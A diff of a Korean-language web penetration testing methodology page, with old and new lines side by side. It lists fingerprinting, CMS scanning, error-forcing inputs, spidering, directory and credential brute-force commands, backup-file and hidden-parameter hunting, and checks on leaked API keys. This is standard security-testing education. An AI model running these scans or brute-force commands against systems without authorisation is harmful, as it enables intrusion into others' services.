webanalyze -host https://google.com -crawl 2 webanalyze -host https://google.com -crawl 2
``` ```
**웹 응용 프로그램 버전 취약점**을 검색하십시오 **웹 응용 프로그램 취약점 버전**을 검색하십시오
### **WAF 여부 확인** ### **WAF 여부 확인**
@ -116,18 +116,18 @@ webanalyze -host https://google.com -crawl 2
* [**Wordpress**](wordpress.md) * [**Wordpress**](wordpress.md)
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/) * [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
_**같은 도메인**이 다른 **포트**, **폴더** 및 **하위 도메인**에서 다른 **기술**을 사용할 수 있다는 점을 고려하십시오._\ _**같은 도메인**이 다른 **포트**, **폴더** 및 **서브도메인**에서 **다른 기술**을 사용할 수 있다는 점을 고려하십시오._\
웹 응용 프로그램이 **이전에 나열된 잘 알려진 기술/플랫폼** 또는 **다른 것**을 사용하는 경우 **인터넷에서** 새로운 트릭을 **검색**하고 (알려주세요!). 웹 응용 프로그램이 **이전에 나열된 잘 알려진 기술/플랫폼** 또는 **다른 것**을 사용하는 경우 **인터넷에서** 새로운 트릭을 **검색**하고 저에게 알려주세요!
### 소스 코드 검토 ### 소스 코드 검토
응용 프로그램의 **소스 코드**가 **github**에 **제공**되는 경우, **현재 블랙박스 테스트**에 유용한 **일부 정보**를 수행하는 것 외에도: 응용 프로그램의 **소스 코드**가 **github**에 **제공**되는 경우, 응용 프로그램의 **백색 상자 테스트**를 진행하는 것 외에도 현재 **블랙박스 테스트**에 유용한 **일부 정보**가 있을 수 있습니다:
* **변경 로그 또는 Readme 또는 버전** 정보가 웹을 통해 **액세스 가능한 파일** 있는지 확인하십시오. * **변경 로그 또는 Readme 또는 버전** 정보가 웹을 통해 **액세스 가능한 파일** 있는지 확인하십시오.
* **자격 증명**은 어디에 어떻게 저장되어 있습니까? 자격 증명 (사용자 이름 또는 비밀번호)이 있는 (액세스 가능한?) **파일**이 있습니까? * **자격 증명**은 어디에 저장되며 어떻게 저장되었습니까? 자격 증명 (사용자 이름 또는 비밀번호)이 있는 (액세스 가능한?) **파일**이 있습니까?
* **비밀번호**는 **평문**, **암호화**되었거나 사용된 **해싱 알고리즘**은 무엇입니까? * **비밀번호**는 **평문**, **암호화**되었거나 사용된 **해싱 알고리즘**은 무엇입니까?
* 무언가를 암호화하는 데 **마스터 키**를 사용하고 있습니까? 사용된 **알고리즘**은 무엇입니까? * 어떤 것을 **암호화하는 데 마스터 키**를 사용하고 있습니까? 사용된 **알고리즘**은 무엇입니까?
* 어떤 **취약점을 이용**하여 이러한 파일에 **액세스**할 수 있습니까? * 어떤 **취약점을 이용하여 이러한 파일에 액세스**할 수 있습니까?
* **github의** (해결된 것과 해결되지 않은 것) **이슈**에 **흥미로운 정보**가 있습니까? 또는 **커밋 히스토리**에 (이전 커밋에 **비밀번호가 포함**된 것일 수도 있음) 있습니까? * **github의** (해결된 것과 해결되지 않은 것) **이슈**에 **흥미로운 정보**가 있습니까? 또는 **커밋 히스토리**에 (이전 커밋에 **비밀번호가 포함**된 것일 수도 있음) 있습니까?
{% content-ref url="code-review-tools.md" %} {% content-ref url="code-review-tools.md" %}
@ -163,7 +163,7 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL> joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs joomlavs.rb #https://github.com/rastating/joomlavs
``` ```
> 이 시점에서는 이미 클라이언트가 사용하는 웹 서버에 대한 일부 정보(제공된 데이터가 있는 경우)와 테스트 중에 염두해 둘 몇 가지 요령이 있어야 합니다. 운이 좋다면 CMS를 찾았고 일부 스캐너를 실행했을 수도 있습니다. > 이 시점에서는 이미 클라이언트가 사용하는 웹 서버에 대한 일부 정보(제공된 데이터가 있는 경우)와 테스트 중에 염두에 두어야 할 몇 가지 요령이 있어야 합니다. 운이 좋다면 CMS를 찾았고 일부 스캐너를 실행했을 수도 있습니다.
## 웹 애플리케이션 발견 단계별 절차 ## 웹 애플리케이션 발견 단계별 절차
@ -182,9 +182,9 @@ joomlavs.rb #https://github.com/rastating/joomlavs
**에러 강제** **에러 강제**
웹 서버는 이상한 데이터가 전송될 때 **예기치 않게 동작**할 수 있습니다. 이는 **취약점을 노출**하거나 **민감한 정보를 노출**할 수 있습니다. 웹 서버는 이상한 데이터가 전송될 때 **예기치 않게 작동**할 수 있습니다. 이는 **취약점**을 노출하거나 **민감한 정보를 누설**할 수 있습니다.
* /whatever\_fake.php (.aspx,.html,.etc)와 같은 **가짜 페이지**에 액세스 * /whatever_fake.php (.aspx, .html 등)와 같은 **가짜 페이지**에 액세스
* **쿠키 값** 및 **매개 변수 값**에 "\[]", "]]", 및 "\[\["를 추가하여 오류 생성 * **쿠키 값** 및 **매개 변수 값**에 "\[]", "]]", 및 "\[\["를 추가하여 오류 생성
* URL **끝에** **`/~randomthing/%s`**로 입력하여 오류 생성 * URL **끝에** **`/~randomthing/%s`**로 입력하여 오류 생성
* PATCH, DEBUG 등과 같은 **다른 HTTP 동사** 또는 잘못된 FAKE 시도 * PATCH, DEBUG 등과 같은 **다른 HTTP 동사** 또는 잘못된 FAKE 시도
@ -193,15 +193,15 @@ joomlavs.rb #https://github.com/rastating/joomlavs
**WebDav**가 **활성화**되어 있지만 루트 폴더에 **파일을 업로드할 권한이 충분하지 않은 경우** 다음을 시도해 보세요: **WebDav**가 **활성화**되어 있지만 루트 폴더에 **파일을 업로드할 권한이 충분하지 않은 경우** 다음을 시도해 보세요:
* 자격 증명 **무차별 대입** * 자격 증명 **브루트 포스**
* WebDav를 통해 파일을 업로드하여 웹 페이지 내의 **다른 폴더**에 대해 확인합니다. 다른 폴더에 파일을 업로드할 수 있는 권한이 있을 수 있습니다. * WebDav를 통해 파일을 업로드하여 웹 페이지 내의 **다른 폴더**에 업로드할 수 있는 권한이 있는지 확인하세요.
### **SSL/TLS 취약점** ### **SSL/TLS 취약점**
* 응용 프로그램이 **HTTPS 사용을 강제하지 않는 경우**, MitM에 **취약**할 수 있습니다. * 응용 프로그램이 **HTTPS 사용을 강제하지 않는 경우**, MitM에 **취약**니다.
* 응용 프로그램이 HTTP를 사용하여 **민감한 데이터(암호)를 전송하는 경우** 높은 취약성이 있습니다. * 응용 프로그램이 HTTP를 사용하여 **민감한 데이터(암호)를 전송하는 경우**, 높은 취약성이 있습니다.
[**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하여 **취약점**을 확인하고 (버그 바운티 프로그램에서는 아마도 이러한 유형의 취약점이 허용되지 않을 것입니다) [**a2sv** ](https://github.com/hahwul/a2sv)를 사용하여 취약점을 다시 확인하세요: [**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하여 **취약점**을 확인하고(버그 바운티 프로그램에서는 아마도 이러한 유형의 취약점이 허용되지 않을 것입니다) [**a2sv**](https://github.com/hahwul/a2sv)를 사용하여 취약점을 다시 확인하세요:
```bash ```bash
./testssl.sh [--htmlfile] 10.10.10.10:443 ./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also #Use the --htmlfile to save the output inside an htmlfile also
@ -219,46 +219,46 @@ SSL/TLS 취약점에 대한 정보:
웹 내부에 어떤 종류의 **스파이더**를 실행합니다. 스파이더의 목표는 테스트된 애플리케이션에서 **가능한 많은 경로를 찾는 것**입니다. 따라서 웹 크롤링 및 외부 소스를 사용하여 가능한 많은 유효한 경로를 찾아야 합니다. 웹 내부에 어떤 종류의 **스파이더**를 실행합니다. 스파이더의 목표는 테스트된 애플리케이션에서 **가능한 많은 경로를 찾는 것**입니다. 따라서 웹 크롤링 및 외부 소스를 사용하여 가능한 많은 유효한 경로를 찾아야 합니다.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 스파이더, JS 파일 및 외부 소스(LinkFinder)에서 찾기 (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). * [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 스파이더, JS 파일 및 외부 소스(LinkFinder)에서 링크 찾기 (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML 스파이더, JS 파일 및 외부 소스(Archive.org)에서 찾기. * [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML 스파이더, JS 파일 및 외부 소스(Archive.org)에 대한 LinkFider 포함.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 스파이더, "juicy files"도 표시합니다. * [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 스파이더, "juicy files"도 표시합니다.
* [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화식 CLI HTML 스파이더. 또한 Archive.org에서 검색합니다. * [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화식 CLI HTML 스파이더. 또한 Archive.org에서 검색합니다.
* [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더가 아니지만 유용할 수 있습니다. 호스트 및 경로가 포함된 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다. * [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더가 아니지만 유용할 수 있습니다. 호스트 및 경로가 포함된 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능이 있는 HTML 스파이더. 그러나 유지 관리되지 않는 것으로 보이며, 미리 컴파일된 버전이 오래되었고 현재 코드는 컴파일되지 않습니다. * [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능을 갖춘 HTML 스파이더. 그러나 유지 관리되지 않는 것으로 보이며, 사전 컴파일된 버전이 오래되었고 현재 코드는 컴파일되지 않는 것으로 보입니다.
* [**gau**](https://github.com/lc/gau) (go): 외부 제공업체(wayback, otx, commoncrawl)를 사용하는 HTML 스파이더 * [**gau**](https://github.com/lc/gau) (go): 외부 제공업체(wayback, otx, commoncrawl)를 사용하는 HTML 스파이더
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 이 스크립트는 매개변수가 포함된 URL을 찾아 나열합니다. * [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 이 스크립트는 매개변수가 포함된 URL을 찾아 나열합니다.
* [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능이 있는 HTML 스파이더. * [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능을 갖춘 HTML 스파이더.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS 파일에서 새 경로를 검색할 수 있는 JS 뷰티파이 기능이 있는 HTML 스파이더. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다. * [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS 파일에서 새 경로를 검색할 수 있는 JS 뷰티파이 기능을 갖춘 HTML 스파이더. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스 및 포함된 javascript 파일에서 엔드포인트를 추출하는 도구. 버그 헌터, 레드 팀, 정보 보안 닌자에 유용합니다. * [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스 및 포함된 javascript 파일에서 엔드포인트를 추출하는 도구. 버그 헌터, 레드 팀, 정보 보안 닌자에 유용합니다.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado 및 JSBeautifier를 사용하여 JavaScript 파일에서 상대적인 URL을 구문 분석하는 Python 2.7 스크립트. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것으로 보입니다. * [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado 및 JSBeautifier를 사용하여 JavaScript 파일에서 상대적인 URL을 구문 분석하는 Python 2.7 스크립트. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것으로 보입니다.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)이 주어지면 해당 파일에서 상대적인 URL을 추출하는 데 사용되는 깔끔한 정규식을 사용합니다. * [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)이 주어지면 해당 파일에서 상대 URL을 추출하는 데 사용되는 깔끔한 정규식을 사용합니다.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 여러 도구): 여러 도구를 사용하여 JS 파일에서 흥미로운 정보 수집합니다. * [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 여러 도구): 여러 도구를 사용하여 JS 파일에서 흥미로운 정보 수집.
* [**subjs**](https://github.com/lc/subjs) (go): JS 파일을 찾습니다. * [**subjs**](https://github.com/lc/subjs) (go): JS 파일 찾기.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): 브라우저를 헤드리스로로드하고 페이지를로드하는 데 사용된 모든 URL을 출력합니다. * [**page-fetch**](https://github.com/detectify/page-fetch) (go): 무헤드 브라우저에서 페이지를 로드하고 페이지 로드에 사용된 모든 URL을 출력합니다.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 검색 도구 * [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 발견 도구
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로 및 매개변수를 찾기 위한 Burp 확장 프로그램. * [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로 및 매개변수를 찾기 위한 Burp 확장 프로그램.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL이 주어지면 정리된 JS 코드를 가져올 수 있는 도구 * [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL이 주어지면 정리된 JS 코드를 가져올 수 있는 도구
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상의 엔드포인트를 발견하는 데 사용되는 도구입니다. * [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상의 엔드포인트를 발견하는 데 사용되는 도구입니다.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine에서 링크 발견합니다(wayback의 응답을 다운로드하고 더 많은 링크를 찾습니다 * [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine에서 링크 발견(wayback의 응답을 다운로드하고 더 많은 링크를 찾습니다
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 특정 정규식을 사용하여 크롤링(양식 작성 포함)하고 민감한 정보를 찾습니다. * [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 특정 정규식을 사용하여 크롤링(양식 작성 포함)하고 민감한 정보를 찾습니다.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite는 사이버 보안 전문가를 위해 설계된 고급 다기능 GUI 웹 보안 크롤러/스파이더입니다. * [**SpiderSuite**](https://github.com/3nock/SpiderSuite): 사이버 보안 전문가를 위해 설계된 고급 다기능 GUI 웹 보안 크롤러/스파이더
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript 소스 코드에서 URL, 경로, 비밀 및 기타 흥미로운 데이터를 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다. * [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript 소스 코드에서 URL, 경로, 비밀 및 기타 흥미로운 데이터를 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): 요청에서 매개변수 및 엔드포인트를 추출하여 퍼징 및 열거를 위한 사용자 정의 워드리스트를 만들기 위한 간단한 **Burp Suite 확장 프로그램**입니다. * [**ParaForge**](https://github.com/Anof-cyber/ParaForge): 요청에서 매개변수 및 엔드포인트를 추출하여 퍼징 및 열거를 위한 사용자 정의 워드리스트를 생성하는 간단한 **Burp Suite 확장 프로그램**.
* [**katana**](https://github.com/projectdiscovery/katana) (go): 이 도구는 훌륭합니다. * [**katana**](https://github.com/projectdiscovery/katana) (go): 이 도구는 훌륭합니다.
### 디렉토리 및 파일 무차별 대입 ### 디렉토리 및 파일 브루트 포스
루트 폴더에서 **무차별 대입**을 시작하고 **이 방법**을 사용하여 찾은 **모든 디렉토리**를 무차별 대입하고 **스파이더링**에 의해 발견된 모든 디렉토리를 무차별 대입해야 합니다(발견된 디렉토리의 이름을 사용된 워드리스트의 시작 부분에 추가하여 재귀적으로 무차별 대입할 수 있습니다).\ 루트 폴더부터 **브루트 포스**를 시작하고 **이 방법**을 사용하여 찾은 **모든 디렉토리**를 브루트 포스해야 하며 **스파이더링**에 의해 발견된 모든 디렉토리를 브루트 포스해야 합니다(발견된 디렉토리의 이름을 사용한 워드리스트의 시작 부분에 추가하여 재귀적으로 수행할 수 있습니다).\
도구: 도구:
* **Dirb** / **Dirbuster** - Kali에 포함되어 있으며 **오래되었지만**(그리고 **느립니다**) 기능적입니다. 자동 서명된 인증서 및 재귀적 검색을 허용합니다. 다른 옵션과 비교하여 너무 느립니다. * **Dirb** / **Dirbuster** - Kali에 포함되어 있으며 **오래되었지만**(그리고 **느립니다**) 기능이 있습니다. 자동 서명된 인증서 및 재귀적 검색을 허용합니다. 다른 옵션과 비교하여 너무 느립니다.
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 자동 서명된 인증서를 허용하지 않지만** 재귀적 검색을 허용합니다. * [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 자동 서명된 인증서를 허용하지 않지만** 재귀적 검색을 허용합니다.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 자동 서명된 인증서를 허용하며, **재귀적** 검색을 **하지 않습니다**. * [**Gobuster**](https://github.com/OJ/gobuster) (go): 자동 서명된 인증서를 허용하며, **재귀적** 검색을 **하지 않습니다**.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 빠르며, 재귀적 검색을 지원합니다.** * [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 빠르며, 재귀적 검색을 지원합니다.**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` * [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- 빠릅니다: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` * [**ffuf** ](https://github.com/ffuf/ffuf)- 빠릅니다: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): 이것은 스파이더가 아니지만 발견된 URL 목록을 제공하여 "중복" URL을 삭제합니다. * [**uro**](https://github.com/s0md3v/uro) (python): 이것은 스파이더가 아니지만 발견된 URL 목록을 사용하여 "중복" URL을 삭제하는 도구입니다.
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다른 페이지의 burp 히스토리에서 디렉토리 목록을 만드는 Burp 확장 프로그램 * [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 히스토리에서 디렉토리 목록을 생성하는 Burp 확장 프로그램
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 중복 기능을 가진 URL을 제거합니다(JS 가져오기를 기반으로 함) * [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 중복 기능을 가진 URL을 제거합니다(JS 가져오기를 기반으로 함)
* [**Chamaleon**](https://github.com/iustin24/chameleon): 사용된 기술을 감지하고 사용할 워드리스트를 선택하기 위해 wapalyzer를 사용합니다. * [**Chamaleon**](https://github.com/iustin24/chameleon): 사용된 기술을 감지하고 사용할 워드리스트를 선택하기 위해 wapalyzer를 사용합니다.
@ -281,21 +281,21 @@ SSL/TLS 취약점에 대한 정보:
* _/usr/share/wordlists/dirb/big.txt_ * _/usr/share/wordlists/dirb/big.txt_
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ * _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_브루트 포싱이나 스파이더링 중에 새 디렉토리를 발견할 때마다 브루트 포해야 합니다._ _브루트 포싱이나 스파이더링 중에 새 디렉토리를 발견할 때마다 브루트 포해야 합니다._
### 각 발견된 파일에서 확인해야 할 사항 ### 각 발견된 파일에서 확인해야 할 사항
* [**링크 깨진 링크 확인기**](https://github.com/stevenvachon/broken-link-checker): 탈취 가능성이 있는 HTML 내의 깨진 링크 찾기 * [**링크 깨진 링크 확인기**](https://github.com/stevenvachon/broken-link-checker): 탈취 가능성이 있는 HTML 내의 깨진 링크 찾기
* **파일 백업**: 모든 파일을 찾은 후에 실행 파일의 백업을 찾아보세요 ("_.php_", "_.aspx_"...). 백업의 일반적인 변형은 다음과 같습니다: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**를 사용할 수도 있습니다**. * **파일 백업**: 모든 파일을 찾은 후, 실행 가능한 모든 파일의 백업을 찾아보세요 ("_.php_", "_.aspx_"...). 백업 파일의 일반적인 변형은 다음과 같습니다: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) 도구를 사용할 수도 있습니다.
* **새 매개변수 발견**: [**Arjun**](https://github.com/s0md3v/Arjun)**, [**parameth**](https://github.com/maK-/parameth)**, [**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner) **와 같은 도구를 사용하여 숨겨진 매개변수를 발견할 수 있습니다. 가능하다면 각 실행 웹 파일에서 숨겨진 매개변수를 찾아보세요**. * **새 매개변수 발견**: [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner) **와 같은 도구를 사용하여 숨겨진 매개변수를 발견할 수 있습니다. 가능하다면 각 실행 가능한 웹 파일에서 숨겨진 매개변수를 찾아보세요.
* _Arjun 모든 기본 워드리스트:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) * _Arjun의 모든 기본 단어 목록:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) * _Param-miner의 "params":_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) * _Assetnote의 "parameters_top_1m":_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) * _nullenc0de의 "params.txt":_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **코멘트:** 모든 파일의 코멘트를 확인하세요. **자격 증명**이나 **숨겨진 기능**을 찾을 수 있습니다. * **코멘트**: 모든 파일의 코멘트를 확인하세요. 여기서 **자격 증명**이나 **숨겨진 기능**을 찾을 수 있습니다.
* **CTF**를 진행 중이라면, 페이지의 **오른쪽**에 **수백 개의 공백**을 사용하여 데이터를 숨겨서 소스 코드를 브라우저로 열어도 데이터가 보이지 않게 하는 것이 일반적인 **트릭**입니다. 다른 가능성은 **여러 개의 새 줄**을 사용하여 웹 페이지 **하단**에 코멘트에 정보를 숨기는 것입니다. * **CTF**를 진행 중이라면, 페이지의 **오른쪽**에 **수백 개의 공백**을 사용하여 데이터를 숨겨서 소스 코드를 브라우저로 열 때 데이터가 보이지 않도록 하는 것이 일반적인 **트릭**입니다. 또 다른 가능성은 **여러 개의 새 줄**을 사용하여 웹 페이지 **하단**에 코멘트를 숨기는 것입니다.
* **API 키**: **API 키**를 발견하면 다양한 플랫폼의 API 키를 사용하는 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**, [**zile**](https://github.com/xyele/zile.git)**, [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**, [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**, [**RegHex**](https://github.com/l4yton/RegHex\)/)**, [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**, [**EarlyBird**](https://github.com/americanexpress/earlybird) * **API 키**: **API 키**를 발견하면 다양한 플랫폼의 API 키를 사용하는 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google API 키: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik와 같은 API 키를 발견하면 프로젝트 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)를 사용하여 키가 액세스할 수 있는 API를 확인할 수 있습니다. * Google API 키: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik와 같은 API 키를 발견하면 프로젝트 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)를 사용하여 해당 키가 액세스할 수 있는 API를 확인할 수 있습니다.
* **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 어떤 **S3 버킷**과 관련이 있는지 확인하세요. 그 경우, 버킷의 [**권한을 확인하세요**](buckets/). * **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 어떤 **S3 버킷**과 관련이 있는지 확인하세요. 그 경우, 버킷의 [**권한을 확인하세요**](buckets/).
### 특별한 발견 ### 특별한 발견
@ -308,14 +308,14 @@ _브루트 포싱이나 스파이더링 중에 새 디렉토리를 발견할 때
* _**.git**_ 파일을 발견하면 일부 정보를 추출할 수 있습니다. * _**.git**_ 파일을 발견하면 일부 정보를 추출할 수 있습니다.
* _**.env**_ 파일을 발견하면 API 키, 데이터베이스 암호 등의 정보를 찾을 수 있습니다. * _**.env**_ 파일을 발견하면 API 키, 데이터베이스 암호 등의 정보를 찾을 수 있습니다.
* **API 엔드포인트**를 발견하면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일이 아니지만 파일처럼 보일 수 있습니다. * **API 엔드포인트**를 발견하면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일이 아니지만 파일처럼 보일 수 있습니다.
* **JS 파일**: JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한, 코드에 잠재적인 취약점이 도입되었을 수 있으므로 발견된 각 JS 파일을 **모니터링**하는 것이 흥미로울 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다**. * **JS 파일**: JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한, 코드에 잠재적인 취약점이 도입되었을 수 있으므로 발견된 각 JS 파일을 **모니터링**하는 것이 흥미로울 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)을 사용할 수 있습니다.
* 발견된 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 취약한지 확인해야 합니다. * 발견된 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 확인하여 취약한지 확인해야 합니다.
* **Javascript Deobfuscator 및 Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) * **Javascript Deobfuscator 및 Unpacker**: [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) * **Javascript Beautifier**: [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **JsFuck 해독** (문자:"\[]!+"를 사용한 javascript [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)) * **JsFuck 해독** (문자:"\[]!+"를 사용한 javascript [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` * [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
